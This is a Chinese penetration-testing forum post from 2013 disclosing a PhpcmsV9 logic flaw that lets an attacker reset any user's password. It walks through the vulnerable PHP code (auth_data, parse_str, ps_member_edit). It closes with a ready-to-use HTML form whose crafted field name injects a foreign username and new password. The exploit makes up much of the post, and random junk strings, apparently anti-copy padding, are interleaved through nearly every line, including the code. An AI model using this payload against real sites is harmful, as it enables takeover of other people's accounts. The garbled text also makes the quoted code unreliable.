中国网络渗透测试联盟

标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发 [打印本页]

作者: admin    时间: 2013-2-23 14:46
标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
  d) y7 `9 o9 ^1 m/ Q
9 e9 K9 c  `5 @* Q- D$ D! O' h7 V+ ?+ H3 f( K/ d
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);& Y0 l/ v- l- n
- @3 y" }4 H' T1 I& w* w! ?) O. |
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
) c3 p3 }  [8 I2 p# G7 y/ ~# \* t/ L* C  w/ Z4 v
我把它留给了你们。+ O. N2 B4 y+ B8 A8 N
不知道你们发现了它没有。2 x1 S  x+ |0 Z* m9 \$ H; O5 p/ q
" R) \, y5 m) Z, B# Q( _
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
1 o; W9 L7 W; @* u  g: x0 K, u* {5 e) N$ F5 B% ?
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。" Q) S# _& s" R% r# m
5 }# G: p7 Q/ d! N* b6 O
也就是
& m- g4 k* j* w! t5 I! ]& R- G  R
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
( o4 W. J# b$ S1 N& a5 J9 \5 @( ~1 q  o/ b1 O" h5 f, D2 ]- P
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
% _6 U. `) S; }/ c0 L% k" \8 x3 q* G! Q5 I8 Z6 N# h# U! {
3 U6 a4 W7 j5 ]/ A$ |
其实我们有这样的机会,看看代码,如下:, s* B1 J2 }5 j/ J
7 E3 q% D+ L5 K* S6 U* r) ^
5 F, B; D! R. b/ N/ ~
public function auth_data($data) {/ V8 M7 O# b& `! x, W6 j0 T
                $s = $sep = '';
$ B6 @3 s0 f4 _: t5 Q                foreach($data as $k => $v) {! O7 r/ y. Y% Q2 w: p
                        if(is_array($v)) {. L  Z0 @; L! K5 ]% _* \) E3 a
                                $s2 = $sep2 = '';: w7 o) g. E' C# e
                                foreach($v as $k2 => $v2) {
. I" H. H# |3 G* h2 Q3 y                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);2 p5 n6 |) O& z5 }  V0 P
                                        $sep2 = '&';8 F1 H, y" ]# i; \9 V
                                }
4 Z" p: S0 Z: m5 e                                $s .= $sep.$s2;
5 R( }. ^! L6 Q: Q+ @6 q2 q6 L                        } else {6 r$ O0 ^3 l# Q5 t3 B& _0 u/ Y* @
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);* C' ~" v+ N/ y/ D) {7 t
                        }$ G0 [; J( W8 s. A; J
                        $sep = '&';
' Y9 u% {% O. ~; @3 u                }
: N0 \" L  `, h, q
+ O1 U# z) K! e/ s- A+ x% h                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
! j/ n5 x  R3 g                return $auth_s;) y* I8 N! i; F
        }
/ o3 C4 n8 G4 Y; d6 x/ J7 R# p% c8 T6 h( j; r* k5 q* B" S1 i: k
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
$ |( |. g! k' N. F0 z, z: e
. ^$ L, n( O: J5 O& H举个例子
/ m8 t( h$ r  |3 ]" L; s
+ ?/ Y* z# c/ Q$a[aaa=a&bbb] = 'a';: g4 O# j  V& _
# P; \% P2 z6 b4 W9 |! {. i
会变成aaa=a&bbb=a# t5 A9 i% e# F$ E
( Y8 B- q2 C4 b
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
6 B( p% ]3 p* P0 a
! l& O' O. g& g& C- u1 I7 i9 H" Y这个时候,我们可以再去看一个函数。: q  F& z6 L! c/ ~! M! C
3 a( E. E9 @! q% C  R* w( }
就在这个文件内:
4 I4 t- g) `* W5 c
; |, @6 a9 |$ k2 T4 ]$ N9 R+ A4 R3 [0 ^
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {) N. m" w# l8 o7 e1 G7 U2 I7 M3 z
                if($email && !$this->_is_email($email)) {
* |, Z! `. u, O7 `% h                        return -4;& W4 N! ~' D9 @% r' Y6 T7 M
                }; z& w2 G+ l9 q2 E  K/ g
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));1 v6 O5 P0 u+ I" L( q
        }; ?! m" ?7 \; N, m. ~: g# @
% l2 U9 J% \; v% F% c) K
这是向通行证发了这样一个请求。
& \7 C2 y1 L& r! [' B1 m; K4 |2 U" P! ]' v
我们再跟到通信证代码里去看看,就会有所发现。
& u- f5 S2 `- ]2 V% d# Y8 Y: ]
- L1 P1 N% H# w' H( }2 n1 W7 j$ W% S7 r( _. i) Y+ ^+ l1 Q
public function edit() {
" q3 l5 w5 ~* O  s//能省就省,太长了不是吗?2 b7 V, d) p- D% Y1 R! u; A+ [

2 [7 {6 j6 O; J+ lif($this->username) {( Y  x7 @; W3 z1 I# `" n
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。# {; U- ~( `$ C4 M. S- v
                                $res = $this->db->update($data, array('username'=>$this->username));; y( F/ y* L7 x" z8 u" Y  A7 s9 K
                        } else {* R/ X/ J* [9 h# h/ e
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
8 T( \  B% H( t% R- P$ M0 O# b6 p" }                                $res = $this->db->update($data, array('uid'=>$this->uid));
; X# Q) K: G, r7 \: m                        }
. m- y2 K3 k# U; ]  r5 v- K
) x; s+ T1 D, A8 Z' b. X好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
! y8 V! }, x1 Q4 C8 c% Y+ _6 p; a( V( p
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
; k$ v6 P/ |; ]' m* r+ g$ g* C# V% E3 d9 O& ?
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。+ c' |" ]2 V. p' H( G+ H4 R( f
: u  j1 q# J0 L8 R/ K* K1 [( }
我当然找到了:8 h% z; ?2 }) m
phpcms9/phpcms/modules/member/index.php
1 r- V, O4 A+ f# w  S( D$ i& x/ T8 W2 D
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);0 X- a* C7 m" f: R" l% O; J

  t7 g& p! H2 F# `" a4 N; b4 B然后就没有然后了。" `1 n8 {5 B7 S( c: o

9 m7 J) Y% ?. s( r6 {<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
* Q9 H6 L7 x' L& k                                <table width="100%" cellspacing="0" class="table_form">
2 ]% L( R1 Y4 u- ~) @( C/ |/ ~2 N7 O                                        <tr>
+ {9 a2 i6 M! y! S2 Y& p; J                                                <th width="80">邮箱:</th>        
, {( M; ?  I( _; H) I# E2 q4 z9 }                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
/ R! c* g3 D3 v$ }  |                                        </tr>2 u& S3 C8 \5 B4 H7 g, p
                                        <tr>
0 d& ?  N) y6 V+ L" X" ~9 e" a                                                <th width="80">原密码:</th>        
% F/ L2 t1 s: Q3 l                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>9 O# \6 x+ k: S) D1 ]' \& C% x
                                        </tr># X7 ~) r; A$ L9 }- x2 _9 t1 p
                                        <tr>6 r/ q3 ?+ i5 _2 Y
                                                <th>新密码:</th>& C% W# q( ^; E
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>  q+ A- U; X1 D6 S9 Z4 Q
                                        </tr>' I" F! R2 e! l3 }
                                        <th></th>% u; U8 a/ s9 n  H
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>/ y! F; v5 e0 Y1 R0 F/ C" T
                                        </tr>
8 B7 b5 }* U0 G# B, R+ J1 }                                </table>
; B2 a6 u) R5 L+ I" X3 a; F) k
0 c2 p9 \$ G$ Q& A* @% T                                - j- U0 U4 Y4 w9 y" Q
                        </form>- p( T5 ?( d& S% Q4 z8 N0 E





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2